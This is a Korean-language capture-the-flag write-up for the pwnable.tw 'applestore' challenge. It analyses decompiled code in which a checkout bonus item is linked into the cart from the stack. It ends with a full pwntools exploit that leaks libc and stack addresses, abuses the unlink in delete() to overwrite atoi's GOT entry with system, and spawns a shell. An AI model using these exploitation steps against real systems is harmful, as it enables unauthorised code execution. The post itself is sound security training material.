ghkdtlwns987

[pwnable.tw] applestore 본문

pwnable.tw

[pwnable.tw] applestore

2020/03/31 2020. 12. 29. 00:52

보호기법

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signal(14, timeout);
  alarm(60u);
  memset(&myCart, 0, 0x10u);
  menu();
  return handler();                             // main 함수 종룧 후 실행
}

main 함수는 다음과 같다. 

 

memset 함수를 보면 &myCart 를 초기화해 주는데, myCart 가 뭐하는 건지 한번 보도록 하자. 

음... 그냥 .bss 영역에 존재하는 전역변수라는 정도만 알아두도록 하자.

(구조체일 수도 있다. 분석해보면서 뭐하는 변수인지 알아보자.)

 

handler() 

더보기
unsigned int handler()
{
  char nptr; // [esp+16h] [ebp-22h]
  unsigned int v2; // [esp+2Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  while ( 1 )
  {
    printf("> ");
    fflush(stdout);
    my_read(&nptr, 0x15u);
    switch ( atoi(&nptr) )
    {
      case 0:
        puts("It's not a choice! Idiot.");
        break;
      case 1:
        list();                                 // list 출력
        break;
      case 2:
        add();
        break;
      case 3:
        delete();
        break;
      case 4:
        cart();
        break;
      case 5:
        checkout();
        break;
      case 6:
        puts("Thank You for Your Purchase!");
        return __readgsdword(0x14u) ^ v2;
    }
  }
}​

다음은 handler() 함수인데, 1,2,3,4,5 번을 입력하는 상황마다 뭔가 다를거 같다. 

숫자를 입력하기 전에, my_read() 함수가 존재한다.

 

my_read()

char *__cdecl my_read(void *buf, size_t nbytes)
{
  char *result; // eax
  ssize_t local_buf; // [esp+1Ch] [ebp-Ch]

  local_buf = read(0, buf, nbytes);
  if ( local_buf == -1 )
    return (char *)puts("Input Error.");
  result = (char *)buf + local_buf;
  *((_BYTE *)buf + local_buf) = 0;
  return result;
}​

my_read(buf, nbytes) 함수가 있는데, 

my_read() 에서 선언한 buf 에 read() 함수의 size를 저장한다. 

그런데, 아무것도 입력하지 않으면 puts 를 반환함과 동시에 Input Error 을 출력한다. 

 

정상적인 입력이라면

result = buf[local_buf] 꼴로 저장하고

buf[local_buf] = 0 으로 바꾸고 

return result 해준다. 

 

=> 값을 입력하게 되면 입력한 값의 길이가 저장되고, 정상적인 입력시 

buf[local_buf] 가 반환되는데, 맨 마지막 인덱스 값은 0으로 설정하고 이를 반환한다.

 

1. list()

더보기
int list()
{
  puts("=== Device List ===");
  printf("%d: iPhone 6 - $%d\n", 1, 199);
  printf("%d: iPhone 6 Plus - $%d\n", 2, 299);
  printf("%d: iPad Air 2 - $%d\n", 3, 499);
  printf("%d: iPad Mini 3 - $%d\n", 4, 399);
  return printf("%d: iPod Touch - $%d\n", 5, 199);
}

대충 list 출력이다, 각각 199, 299, 499, 399, 199 를 출력해준다.

 

2. add()

더보기
unsigned int add()
{
  char **buf; // [esp+1Ch] [ebp-2Ch]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Device Number> ");
  fflush(stdout);
  my_read(&nptr, 21u);
  switch ( atoi(&nptr) )
  {
    case 0:
      puts("Stop doing that. Idiot!");
      return __readgsdword(0x14u) ^ v3;
    case 1:
      buf = create((int)"iPhone 6", (char *)199);
      insert((int)buf);
      break;
    case 2:
      buf = create((int)"iPhone 6 Plus", (char *)299);
      insert((int)buf);
      break;
    case 3:
      buf = create((int)"iPad Air 2", (char *)499);
      insert((int)buf);
      break;
    case 4:
      buf = create((int)"iPad Mini 3", (char *)399);
      insert((int)buf);
      break;
    case 5:
      buf = create((int)"iPod Touch", (char *)199);
      insert((int)buf);
      break;
  }
  printf("You've put *%s* in your shopping cart.\n", *buf);
  puts("Brilliant! That's an amazing idea.");
  return __readgsdword(0x14u) ^ v3;
}

1, 2, 3, 4, 5 번을 입력하는데, 각각 create() 와 insert() 가 호출된다. 

그럼 create() 와 insert() 함수를 차례로 분석해 보자.

 

create() 함수

char **__cdecl create(int var1, char *var2)
{
  char **v2; // eax
  char **v3; // ST1C_4

  v2 = (char **)malloc(16u);                    // malloc[][16]
  v3 = v2;
  v2[1] = var2;
  asprintf(v2, "%s", var1);                     // sprintf 와 비슷하다
  v3[2] = 0;
  v3[3] = 0;
  return v3;
}

다음을 보면 create(int var1, char * var2) 가 있다. 코드를 보면 2차원 포인터(2차원 배열)을 선언해 주고,

이를 v3변수에 저장한다. 여기서 var1 은 'iPhone~'이 들어가고 var2 는 (char*)299... 가 들어간다.

그리고 v2[1] 애 var2에 가격(199, 299..)이 들어가게 된다. 

그리고 asprintf() 함수로 이를 출력해 주는데, 여기서 asprintf() 함수는 sprintf()와 비슷하다고 한다. 

그냥 이정도면 알고있는걸로 하고,

나머지 v3[2] = 0, v3[3] = 0 으로 v3의 나머지 값들을 0으로 초기화 해 준다. 

 

=>값을 입력하면 malloc() 으로 2차원 포인터(배열)을 선언하고, 'iphone~'을 저장하고, 299,199 등을

char* 로 전달받고, 이를 저장한다. v[1] 에는 (char *)299 와 같은 char * 가 저장된다. 

 

insert()

int __cdecl insert(int var)
{
  int result; // eax
  _DWORD *i; // [esp+Ch] [ebp-4h]   // 스택 공간

  for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
    ;
  i[2] = var;
  result = var;
  *(_DWORD *)(var + 12) = i;
  return result;
}

insert() 함수를 보면  int * i 가 선언되었고, 

i를 &myCart에 저장되어 있는 값으로 초기화를 시켜주고, 

i[0] i[1] i[2] 에 있는 값만큼 반복, i = i[myCart] 횟수만큼 반복한다. 

 

i[2] = var, result = var (여기서 var은 insert() 함수에서 인자로 받은 변수이다) (이는 malloc() 한 값과 같다.)

마지막에 (var + 12) = i인데, (여기서 var + 12 = var[3])

이는 malloc() 으로 할당받았던 공간에 myCart 의 주소를 저장한다.

 

=> myCart에 이전에 malloc() 해 주었던 값을 저장하고, malloc[3][16] 에 myCart 를 다시 저장한다.

(fd <-> bk) 느낌? 여기서 insert() 함수는 스택 공간에 값을 저장한다.(중요)

 

 

=> add() 함수는 create() 함수에서 2차원 동적 배열을 할당하고, 이를 반환한 값을

     insert() 함수에 넣어 저장한다.

 

2. delete

더보기
unsigned int delete()
{
  signed int v1; // [esp+10h] [ebp-38h]
  _DWORD *v2; // [esp+14h] [ebp-34h]
  int v3; // [esp+18h] [ebp-30h]
  int v4; // [esp+1Ch] [ebp-2Ch]
  int v5; // [esp+20h] [ebp-28h]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v7; // [esp+3Ch] [ebp-Ch]

  v7 = __readgsdword(20u);
  v1 = 1;
  v2 = (_DWORD *)myCart_8;                      // myCart+8
  printf("Item Number> ");
  fflush(stdout);
  my_read(&nptr, 21u);
  v3 = atoi(&nptr);
  while ( v2 )
  {
    if ( v1 == v3 )
    {
      v4 = v2[2];
      v5 = v2[3];
      if ( v5 )
        *(_DWORD *)(v5 + 8) = v4;
      if ( v4 )
        *(_DWORD *)(v4 + 12) = v5;
      printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
      return __readgsdword(0x14u) ^ v7;
    }
    ++v1;
    v2 = (_DWORD *)v2[2];
  }
  return __readgsdword(0x14u) ^ v7;
}

delete() 함수를 보면 값을 입력받고 입력받은 값 만큼 while() 루프를 반복하는데, if문 바깥에서는

++v1을 해주기 때문에, v1의 값이 계속해서 증가하고 myCart[2] 부분을 v2 에 저장하는데, 

여기서 myCart[2] 은 heap 주소가 저장되어 있다. 

 

if문을 보게 되면(while()문을 반복한 횟수가 같으면 진입)

드디어 myCart 에 저장되어 있는 값들이 변경된다. 그리고 삭제되었다는 메세지가 뜬다.

 

왠지 여기서 취약점이 발생할 거 같다는 합리적인 의심을 해보자.

 

=> create() 에서 malloc() 으로 값을 생성했다.

그런데 이를 free() 함수를 호출하는게 아닌, 반복문을 사용해 0이 저장되어 있는 공간을 넣어줌으로서

초기화 시켜준다고 보면 된다. 

 

3.cart

더보기
int cart()
{
  signed int v0; // eax
  signed int v2; // [esp+18h] [ebp-30h]
  int v3; // [esp+1Ch] [ebp-2Ch]
  _DWORD *i; // [esp+20h] [ebp-28h]
  char buf; // [esp+26h] [ebp-22h]
  unsigned int v6; // [esp+3Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  v2 = 1;
  v3 = 0;
  printf("Let me check your cart. ok? (y/n) > ");
  fflush(stdout);
  my_read(&buf, 0x15u);
  if ( buf == 121 )
  {
    puts("==== Cart ====");
    for ( i = (_DWORD *)myCart_8; i; i = (_DWORD *)i[2] )
    {
      v0 = v2++;
      printf("%d: %s - $%d\n", v0, *i, i[1]);
      v3 += i[1];
    }
  }
  return v3;
}

 

=> 값들을 모두 출력해 주고 가격을 모두 더해서 return 해 주는 함수이다. 

     여기있는 cart() 함수에서 my_read() 함수를 호출하는데, 값을 입력할 때 

      my_read() 함수 내의 공간에 선언된 지역 변수의 값을 수정 할 수 있다. 

 

4. checkout

더보기
unsigned int checkout()
{
  int v1; // [esp+10h] [ebp-28h]
  char *v2; // [esp+18h] [ebp-20h]
  int v3; // [esp+1Ch] [ebp-1Ch]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v1 = cart();
  if ( v1 == 7174 )
  {
    puts("*: iPhone 8 - $1");
    asprintf(&v2, "%s", "iPhone 8");
    v3 = 1;
    insert((int)&v2);
    v1 = 7175;
  }
  printf("Total: $%d\n", v1);
  puts("Want to checkout? Maybe next time!");
  return __readgsdword(0x14u) ^ v4;
}

cart() 에서 return 한 값을 v1에 저장하고, return 된 값이(총 가격)이 7174 라면

iPhone8을 추가로 넣어주고 

v1에 7175 가 '스택' 저장된다. 

 

=> 총 가격이 7174 라면 iPhone8이 insert() 되고  이전 cart() 에서 return 받았던 값이 7175로 변경된다.

     여기서 주의 깊게 봐야하는게 add() 함수에서는 create() 함수에서 반환 된 값을

     insert() 함수로 넣어주었는데, 여기서는 create() 함수를 사용하지 않고,

     곧바로 insert() 함수에 값을 저장하는데, 중요한 건 v2 가 '스택' 에 저장된다는 것이다. 

  

+ 앞서 말했듯이 fd <-> bk 형식(double linked) 방식으로 저장이 되는데,

맨 마지막에 스택에 값이 저장되기 때문에, 이때부터 스택이 계속해서 쓰이게 된다.

 

 

exploit senario 

checkout() 으로 스택에 값을 저장한 뒤, my_read() 함수가 저장되어 있는 함수를 사용해

스택의 데이터를 계속해 조작할 수 있다. 이러한 방식으로 libc_leak 하고, 스택의 주소를 구해 

eip 컨트롤 한다. eip를 컨트롤 하는 법은 delete() 함수를 이용하는 것이다. 

 

libc_leak 은 

cart() 함수에서 printf() 문을 이용할 것이다. 7174 를 만든 후 cart() 가 실행되기 전 bp 를 걸고 스택을 확인해 보면

$esp - 0x30 부분을 출력해 보니, heap 에 쓰일 공간이 stack 에 할당되어 있다. 

그렇다면 이대로 한번 출력해보자. 

 

cart() 함수 실행

출력해 주는 부번애 0xfffff.... 어쩌고 출력되는데, 

바로 밑 스택을 보면 

다음과 같은 부분이 printf의 두 분째 인자로 출력이 된다. 이 부분을 puts_got 를 넣어주어 libc_leak 을 할 것이다. 

 

내가 libc_leak 한 것 처럼 stack 의 주소를 leak 해야 한다.

dreamhack 을 공부했던 분들이라면 하시겠지만, 스택의 주소를 구하는 법은 environ 주소를 구하면 된다. 

따라서 environ 의 주소를 구하고 또 다시 libc 한 것처럼 과정을 반복하면 stack 주소가 leak 되는데, 

여기서 offset 을 구해주면 된다. 

 

스택 주소를 모두 구했으면 delete() 함수로 값을 넣어주는데, 

atoi_got 값을 system() 함수로 덮어주자.

다음은 cart() 함수 내부의 ebp 를 atoi_got

environ - 260 을 해주면 될 거 같다. 

 

그리고 delete() 함수를 이용해 system('/bin/sh') 를 덮으려 한다. 

 

본래는 atoi_got 를 덮으려고 했는데, vmmap 으로 확인해 보면 쓰기 권한이 존재하지 않았다.

그래서 다른 방법을 써야 한다.

 

 

다음은 my_read() 함수가 호출되는 과정이다. 

보다싶이

lea eax, ebp + nptr

mov [esp], eax 가 존재하는데,

my_read() 함수는 ebp를 기준으로 함수에 인자로 전달되고, ebp 를 기준으로 입력되는 것 으로 보인다. 

 

=> ebp 의 값을 atoi_got(덮을 주소) 로 덮게 되면 버퍼에 atoi_got가 들어가게 되어

my_read() 가 실행되면서 atoi_got 에 내가 원하는 값을 넣어줄 수 있을 것이다. 

 

from pwn import*
import argparse
context(arch='i386',os='linux')
context.log_level = 'debug'

parser = argparse.ArgumentParser()
parser.add_argument('-p','--process',  action = 'store_true',help='-p -> process')
parser.add_argument('-r','--remote',   action = 'store_true',help='-r -> remote')

args = parser.parse_args()

host = 'chall.pwnable.tw'
port = 10104

elf = ELF('./applestore')
breakpoint = {'bp':0x08048c54}

def add(select):
    r.sendlineafter('> ','2')
    r.sendlineafter('Number> ',str(select))

def remove(select):
    r.sendlineafter('> ','3')
    r.sendlineafter('Number> ',str(select))

def cart(context):
    r.sendlineafter('> ','4')
    r.sendlineafter('(y/n) > ',str(context))

def check_out():
    r.sendlineafter('> ','5')
    r.sendlineafter('(y/n) > ','y')

def exploit():
    for i in range(6):
        add(1)
    for i in range(20):
        add(2)

    check_out()
    pause()
    payload = ''
    payload += 'y\x00'
    payload += p32(elf.got['puts'])
    payload += '\x00\x00\x00\x00'*3

    cart(payload)

    r.recvuntil('27: ')
    leak = u32(r.recv(4))
    libc_base = leak - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    binsh = libc_base + list(libc.search('/bin/sh'))[0]

    log.info('leak = '+hex(leak))
    log.info('libc_base = '+hex(libc_base))
    log.info('system_addr = '+hex(system_addr))
    log.info('binsh_addr = '+hex(binsh))


    environ = libc_base + libc.symbols['environ']
    log.info('environ = '+hex(environ))

    payload = ''
    payload += 'y\x00'
    payload += p32(environ)
    payload += '\x00\x00\x00\x00'*4

    cart(payload)

    r.recvuntil('27: ')
    environ_addr = u32(r.recv(4))
    log.info('environ_addr = '+hex(environ_addr))

    cart_ebp = environ_addr - 260
    cart_ebp_8 = cart_ebp - 0x8

    payload = '27'
    payload += p32(environ_addr)
    payload += p32(0)
    payload += p32(elf.got['atoi'] + 0x22)       
    payload += p32(cart_ebp_8)              
    remove(payload)


    payload = p32(system_addr)
    payload += ';/bin/sh\x00'
    r.recvuntil('>')
    r.sendline(payload)

    r.interactive()
    
if args.remote:
    r = remote(host,port)
    libc = ELF('./libc_32.so.6')
    exploit()
    
if args.process:
    r = process('./applestore')
    libc = elf.libc
    exploit()
    
else:
    context.terminal = ['tmux','splitw','-h']
    r = process('./applestore')
    libc = elf.libc
    gdb.attach(r,'b* {}'.format(breakpoint['bp']))
    exploit()

'pwnable.tw' 카테고리의 다른 글

[pwnable.tw] unexploitable  (0) 2021.01.23
[pwnable.tw] seethefile  (0) 2021.01.16
[pwnable.tw] silver_bullet  (0) 2020.12.24
[pwnable.tw] hacknote  (0) 2020.12.07
[pwnable.tw] dubblesort  (0) 2020.11.22
Comments